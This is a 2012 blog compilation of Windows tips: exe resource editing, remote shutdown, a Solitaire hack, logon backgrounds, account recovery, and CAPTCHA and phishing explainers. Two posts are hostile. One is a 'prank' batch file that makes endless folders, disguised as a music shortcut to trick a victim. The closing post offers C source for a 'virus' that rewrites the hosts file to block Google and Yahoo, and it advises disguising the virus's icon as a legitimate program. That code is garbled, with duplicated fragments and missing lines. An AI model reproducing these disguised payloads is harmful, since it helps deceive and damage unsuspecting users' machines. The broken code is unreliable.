How to modify any exe files
Saturday, March 24, 2012
Learn how to change *.exe files, in 5 easy steps:
1) Don't try to modify a prog by editing his source in a dissasembler.Why?
Cause that's for programmers and assembly experts only.
try to view it in hex you'll only get tons of crap you don't understand.
First off, you need Resource Hacker(last version). It's a resource editor-
very easy to use, You can download it at h**p://www.users.on.net/johnson/resourcehacker/
2) Unzip the archive, and run ResHacker.exe. You can check out the help file too
3) You will see that the interface is simple and clean. Go to the menu FileOpen or press Ctrl+O to open a file. Browse your way to the file you would like to edit. You can edit *.exe, *.dll, *.ocx, *.scr and *.cpl files, but this tutorial is to teach you how to edit *.exe files, so open one.
4) In the left side of the screen a list of sections will appear.
The most common sections are
-String table;
-RCData;
-Dialog;
-Cursor group;
-Bitmap;
-WAV.
*Icon: You can wiew and change the icon(s) of the program by double-clicking the icon section,chossing the icon, right-clicking on it an pressing "replace resource". After that you can choose the icon you want to replace the original with.
*String table: a bunch of crap, useful sometimes, basic programming knowladge needed.
*RCData: Here the real hacking begins. Modify window titles, buttons, text, and lots more!
*Dialog:Here you can modify the messages or dialogs that appear in a program. Don't forget to press "Compile" when you're done!
*Cursor group: Change the mouse cursors used in the program just like you would change the icon.
*Bitmap: View or change images in the programs easy!
*WAV:Change the sounds in the prog. with your own.
5) In the RCData,Dialog,Menu and String table sections you can do a lot of changes. You can modify or translate the text change links, change buttons, etc.
TIP: To change a window title, search for something like: CAPTION "edit this".
TIP: After all operations press the "Compile Script" button, and when you're done editing save, your work @ FileSave(Save as).
TIP: When you save a file,the original file will be backed up by default and renamed to Name_original and the saved file will have the normal name of the changed prog.
TIP: Sometimes you may get a message like: "This program has a non-standard resource layout... it has probably been compressed with an .EXE compressor." That means that Resource Hacker can't modify it because of it's structure.

How to copy songs from your iPod to your PC
Saturday, March 24, 2012
Let me introduce you with a straightforward way for Windows users to transfer music from an iPod to your hard drive, without extra software:
1. Connect the iPod to your PC. If iTunes starts syncing (ie erasing) your music automatically, hit the X in the upper right hand corner of iTunes display, to the left of the search box, to stop it.
2. In Control Panel, Portable Media Devices, double-click your iPod.
3. Navigate to the Music folder.
4. Select all the music folders, and drag and drop them into a folder on your hard drive, or directly into iTunes.
And you’re done! The iPod music folder structure is strange and inexplicable, but once you move your files into iTunes you can set it to automatically organize your folder by artist and album to clean that up. (To do this, in iTunes Edit menu, choose Preferences and in the Advanced tab, check “Keep iTunes Music Folder organized.”)
If you give this a go, lemme know how it goes. I’ll amend the instructions with any additional info for other versions of Windows and iPods.

Remote Shutdown
Saturday, March 24, 2012
XP PRO has a lot of fun utilities. One of the most useful ones I have found to date is the ability to remotely reboot a PC. There are 2 ways of doing this. You will need to have admin access to the PC to preform these actions. That being said, here is the first way to do it:
Right click my computer, choose manage.
Highlight the Computer Management (Local) then click on Action, choose connect to another computer.
In the window that opens fill in the machine name of the PC you want to connect to and click ok.
Once connected right click on Computer Management (Remote machine name) and choose properties.
Go to the "Advanced" tab and click the Settings button under Start up and recovery.
Click on the Shutdown button.
Under action choose what you want to do (you can log off current user, shut down, restart, or power down. you can also choose if you want to force all applications to close, close hung apps, or wait for all apps to close by themselves).
The second way... Remember dos... that good old thing. Open up a command prompt and enter in the following:
%windir%\System32\shutdown.exe -r -m \\Machinename. The command prompt has more switches and options. I highly suggest using shutdown.exe /? to see all the possibilities.
Right click my computer, choose manage.

Force Solitare to win by a hack. Here’s how: Open sol.exe located in C:\Windows\System32\ using Resource Hacker. Expand String Table > 64 > 1033 in the left pane. Notice a line in the right pane saying 1010, “Force a win”. Use these numbers to enable the Easter Egg. Now expand Menu > 1 > 1033. Create a menu by typing the following just before the last closing brace:
POPUP “&Easter Egg”
{
MENUITEM "&Egg 1", 1008
MENUITEM "&Egg 2", 1009
MENUITEM "&Egg 3", 1010
}
Now, click the Compile Script button. Next, go to File > Save and save it in the original location, i.e., C:\Windows\System32\sol.exe. Also, replace sol.exe in the C:\Windows\System32\dllcache folder.
Now, a new menu Easter Egg appears with Egg 1, Egg 2 and Egg 3 as options. Click Egg 3 to force a win.

Disabling My Computer
Saturday, March 24, 2012
In areas where you are trying to restrict what users can do on the computer, it might be beneficial to disable the ability to click on My Computer and have access to the drives, control panel etc.

Trick to Make over 1,000 folders in few seconds
Thursday, March 22, 2012
Here I will teach you a simple prank that will make an unlimited amount of folders in any place you want.
1. Open notepad and type :
@echo off makes it so that it appears to be a blank screen but actually its making hundreds of folder.
md %random% is command that creates folders with random names.
goto top – return to label :top, infinite loop.
2. Save it as 1000folders.bat
3. After that you will get icon that looks as show below:
People probably are not gonna click on an icon that looks like this picture, so to make it better (funnier and easier to prank people with) make a short-cut to it.
4. Right click on icon and click Create Shortcut.
5. Right click on shortcut and click properties , then click on Change Icon and rename icon.
Tell the person that you found the music they wanted and downloaded it on their computer. That way, they will think its a shortcut to the music and they will click on it. Then, they will think its loading so they won’t exit right away but when they finally realize its not going to load it will be to late. Its impossible to delete them using cmd you have to find all of them and delete them manually…

clear your sensitive information on system shutdown
Thursday, March 22, 2012
During data processing some operating systems use the hard disk as memory, called virtual memory. During processing, operating system transfers some data and programs from RAM to hard disk and reloads again when required. The data or programs are stored in hard disk in temporary file called the swap file. This technique of swapping data between memory and hard disk is called paging. Operating system spends a lot of time in paging process, instead of executing the application software. But the problem is that while working you use different software programs on computer and page file may contain your confidential information or stored in non encrypted format. To reduce this risk, you can set your computer to clear out page file automatically each time you shutdown your computer.
Perform the given steps to set your system clear page file automatically:
- To enable this feature, you will need to be logged into your computer with administrative rights.
- First click on start button to open control panel and then click here on "Administrative Tools" option.
- Now "Local Security Settings" panel will appear, on lift side of this panel click on "Local Policies".
- Here click on "Security Options" then double click on "Shutdown: Clear virtual memory pagefile" option.
- Now small dialog box will appear with options, "Enabled or Disabled" the page file.
- Select the "Enabled" radio button to set clear page file each time you shutdown computer.
Press Apply button to save settings and then click on Ok button to finish. -

. How to Change the Logon Screen Background in Windows 7
Tuesday, March 20, 2012
How would you like to change the logon screen background in Windows 7 so as to give your Windows a customized look and feel? With a small tweak it is possible to customize the Windows 7 logon screen and set your own picture/wallpaper as the background. Changing logon screen background in Windows 7 is as simple as changing your desktop wallpaper. Well here is a step by step instruction to customize the logon screen background.
1. The image you need to set as the background should be a .jpg file and it’s size should not exceed 245KB.
2. The image resolution can be anything of your choice. However I prefer 1440 x 900 or 1024 x 768. You can use any of the photo editing software such as Photoshop to compress and set the resolution for your image. Once you’re done, save this image as backgroundDefault.jpg.
3. You will need to copy this image to
C:\Windows\system32\oobe\info\backgrounds
You will need to create that path if it does not already exist on your computer.
4. Now open the Registry Editor (Start - Run -Type regedit) and navigate to the following key
HKLM\Software\Microsoft\Windows\CurrentVersion\Authentication\
LogonUI\Background
LogonUI\Background
If Background does not exist rightclick LogonUI, select New and then Key, and then name it Background. Now locate OEMBackground (listed on the right side). If it does not exist, right-click Background and select New and then DWORD and name it OEMBackground.
5. Double-click on OEMBackground and set the Value Data to 1.
6. Now log-off to see the new logon screen background. If you would like to revert back to the default background, just set the Value Data back to 0.
I hope you like this trick. Just try out and give your feedback!

What to Do When Your Email Account is Hacked?
Monday, March 19, 2012
For Gmail:
It can be a big disaster if your Gmail account has been compromised as it may be associated with several services like Blogger, Analytics, Adwords, Adsense, Orkut etc. Losing access to your Gmail account means losing access to all the services associated it with too. Here is a list of possible recovery actions that you can try.
Step -1: Try resetting your password since it is the easiest way to get your account back in action. In this process Google may ask you to answer the secret question or may send the password reset details to the secondary email address associated with your compromised account. You can reset you password from the following link
If you cannot find success from the Step-1 then proceed to Step-2.Step-2: Many times the hacker will change the secret question and secondary email address right after the account is compromised. This is the reason for the Password Reset process to fail. If this is the case then you need to contact the Gmail support team by filling out the account recovery form. This form will ask you to fill out several questions like
1. Email addresses of up to five frequently emailed contacts2. Names of any 4 Labels that you may have created in your account
3. List of other services associated with your compromised account
4. Your last successful login date
5. Account created date
6. Last password that you remember and many more…
You need to fill out this form as much accurately as possible. It is obvious to forget the dates of last login, account creation and similar terms. However you need to figure out the closest possible date/answers and fill out this form. This is your last chance! The more accurate the information filled out in the recovery form, the more the chances of getting your account back. You may reach the account recovery page form the following link
For Yahoo and Hotmail:
Unfortunately for Yahoo/Hotmail there is no second option like filling out the form or contacting the support team. All you need to do is either answer the secret questions that you have setup or reset the password using the secondary email option.
To initiate the password reset process just click on the Forgot password link in your login page and proceed as per the screen instructions.
I hope this post will help you recover the lost accountWhat is CAPTCHA and How it Works?
Monday, March 19, 2012
CAPTCHA or Captcha (pronounced as cap-ch-uh) which stands for “Completely Automated Public Turing test to tell Computers and Humans Apart” is a type of challenge-response test to ensure that the response is only generated by humans and not by a computer. In simple words, CAPTCHA is the word verification test that you will come across the end of a sign-up form while signing up for Gmail or Yahoo account. The following image shows the typical samples of CAPTCHA.
Almost every Internet user will have an experience of CAPTCHA in their daily Internet usage, but only a few are aware of what it is and why they are used. So in this post you will find a detailed information on how CAPTCHA works and why they are used.
What Purpose does CAPTCHA Exactly Serve?
CAPTCPA is mainly used to prevent automated software (bots) from performing actions on behalf of actual humans. For example while signing up for a new email account, you will come across a CAPTCHA at the end of the sign-up form so as to ensure that the form is filled out only by a legitimate human and not by any of the automated software or a computer bot. The main goal of CAPTCHA is to put forth a test which is simple and straight forward for any human to answer but for a computer, it is almost impossible to solve.
What is the Need to Create a Test that Can Tell Computers and Humans Apart?
For many the CAPTCHA may seem to be silly and annoying, but in fact it has the ability to protect systems from malicious attacks where people try to game the system. Attackers can make use of automated softwares to generate a huge quantity of requests thereby causing a high load on the target server which would degrade the quality of service of a given system, whether due to abuse or resource expenditure. This can affect millions of legitimate users and their requests. CAPTCHAs can be deployed to protect systems that are vulnerable to email spam, such as the services from Gmail, Yahoo and Hotmail.
Who Uses CAPTCHA?
CAPTCHAs are mainly used by websites that offer services like online polls and registration forms. For example, Web-based email services like Gmail, Yahoo and Hotmail offer free email accounts for their users. However upon each sign-up process, CAPTCHAs are used to prevent spammers from using a bot to generate hundreds of spam mail accounts.
Designing a CAPTCHA System
CAPTCHAs are designed on the fact that computers lack the ability that human beings have when it comes to processing visual data. It is more easily possible for humans to look at an image and pick out the patterns than a computer. This is because computers lack the real intelligence that humans have by default. CAPTCHAs are implemented by presenting users with an image which contains distorted or randomly stretched characters which only humans should be able to identify. Sometimes characters are striked out or presented with a noisy background to make it even more harder for computers to figure out the patterns.
Most, but not all, CAPTCHAs rely on a visual test. Some Websites implement a totally different CAPTCHA system to tell humans and computers apart. For example, a user is presented with 4 images in which 3 contains picture of animals and one contain a flower. The user is asked to select only those images which contain animals in them. This Turing test can easily be solved by any human, but almost impossible for a computer.
Breaking the CAPTCHA
The challenge in breaking the CAPTCHA lies in real hard task of teaching a computer how to process information in a way similar to how humans think. Algorithms with artificial intelligence (AI) will have to be designed in order to make the computer think like humans when it comes to recognizing the patterns in images. However there is no universal algorithm that could pass through and break any CAPTCHA system and hence each CAPTCHA algorithm must have to be tackled individually. It might not work 100 percent of the time, but it can work often enough to be worthwhile to spammers.
How to Identify and Avoid Phishing Scams
Monday, March 19, 2012
Phishing is a form of social engineering technique used by hackers to gather sensitive information such as usernames, passwords and credit card details by posing as a trustworty person/organization. Since most online users are unaware of the techniques used in carrying out a phishing attack, they often fall victims and hence, phishing can be very effective.
in your browser’s address bar which indicates a secure connection. On some websites like paypal.com which uses an extended validation certificate, the address bar turns GREEN
With the dramatic increase in the number of phishing scams in the recent years, there has also been a steady rise in the number of people being victimized. Lack of awareness among the people is the prime reason behind such attacks. This article will try to create awareness and educate the users about such online scams and frauds.
Phishing scams usually sends an email message to users requesting for their personal information, or redirects them to a website where they are required to enter thier personal information. Here are some of the tips that can be used to identify various phishing techniques and stay away from it.
Identifying a Phishing Scam
1. Beware of emails that demand for an urgent response from your side. Some of the examples are:
- You may receive an email which appears to have come from your bank or financial organization stating that “your bank account is limited due to an unauthorized activity. Please verify your account asap so as to avoid permanant suspension”. In most cases, you are requested to follow a link (URL) that takes you to spoofed webpage (similar to your bank website) and enter your login details over there.
- In some cases, phishing emails may ask you to make a phone call. There may be a person or an audio response waiting on the other side of the phone to take away your credit cards details, account number, social security number or other valuable data.
2. Phishing emails are generally not personalized. Since they target a lagre number of online users, they usually use generalized texts like “Dear valued customer”, “Dear Paypal user” etc. to address you. However, some phishing emails can be an exception to this rule.
3. When you click on the links contained in a phishing email, you will most likely be taken to a spoofed webpage with official logos and information that looks exactly same as that of the original webpages of your bank or financial organization. Pay attention to the URL of a website before you enter any of your personal information over there. Even though malicious websites look identical to the legitimate site, it often uses a different domain or variation in the spelling. For example, instead of paypal.com, a phishing website may use different addresses such as:
- papyal.com
- paypal.org
- verify-paypal.com
- xyz.com/paypal/verify-account/
Tips to Avoid Being a Victim of Phishing
1. Do not respond to suspicious emails that ask you to give your personal information. If you are unsure whether an email request is legitimate, verify the same by calling the respective bank/company. Always use the telephone numbers printed on your bank records or statements and not those mentioned in the suspicious email.
2. Don’t use the links in an email, instant messenger or chat conversation to enter a website. Instead, always type the URL of the website on your browser’s address bar to get into a website.
3. Legitimate websites always use a secure connection (https://) on those pages which are intended to gather sensitive data such as usernames and passwords, account numbers or credic card details. You will see a lock icon in your browser’s address bar which indicates a secure connection. On some websites like paypal.com which uses an extended validation certificate, the address bar turns GREEN Is your Nokia Cell Phone Original

A Virus Program to Block Websites
Monday, March 19, 2012
Most of us are familiar with the virus that used to block Orkut and Youtube site. If you are curious about creating such a virus on your own, here is how it can be done. As usual I’ll use my favorite programming language ‘C’ to create this website blocking virus. I will give a brief introduction about this virus before I jump into the technical jargon.
his virus has been exclusively created in ‘C’. So, anyone with a basic knowledge of C will be able to understand the working of the virus. This virus need’s to be clicked only once by the victim. Once it is clicked, it’ll block a list of websites that has been specified in the source code
Here is the sourcecode of the virus.
---------------------------------------------------------------------------------------------------------
#include<stdio.h>
#include<dos.h>
#include<dir.h>
char site_list[6][30]={
“google.com”,
“www.google.com”,

“yahoo.com”,
“www.yahoo.com”
};
char ip[12]=”127.0.0.1″;
FILE *target;
int find_root(void);
void block_site(void);
int find_root()
{
int done;
struct ffblk ffblk;//File block structure
done=findfirst(“C:\\windows\\system32\\drivers\\etc\\hosts”,&ffblk,FA_DIREC);
/*to determine the root drive*/
if(done==0)

return 1;
}
else return 0;
}
void block_site()
{
int i;
fseek(target,0,SEEK_END); /*to move to the end of the file*/
fprintf(target,”\n”);
for(i=0;i<6;i++)
fprintf(target,”%s\t%s\n”,ip,site_list[i]);
fclose(target);
}
void main()
{
int success=0;
success=find_root();

NOTE: You can also block a website manually. But, here I have created a virus that automates all the steps involved in blocking. The manual blocking process is described in the post How to Block a Website ?
Here is the sourcecode of the virus.

else return 0;
}
void block_site()
{
int i;
fseek(target,0,SEEK_END); /*to move to the end of the file*/
fprintf(target,”\n”);
for(i=0;i<6;i++)
fprintf(target,”%s\t%s\n”,ip,site_list[i]);
fclose(target);
}
void main()
{
int success=0;
success=find_root();
if(success)
block_site();
}
---------------------------------------------------------------------------------------------------------------
Testing
1. To test, run the compiled module. It will block the sites that is listed in the source code.
2. Once you run the file block_Site.exe, restart your browser program. Then, type the URL of the blocked site and you’ll see the browser showing error “Page cannot displayed“.
3. To remove the virus type the following the Run.
%windir%\system32\drivers\etc
4. There, open the file named “hosts” using the notepad.At the bottom of the opened file you’ll see something like this
127.0.0.1 google.com
5. Delete all such entries which contain the names of blocked sites.
NOTE: You can also change the ICON of the virus to make it look like a legitimate program
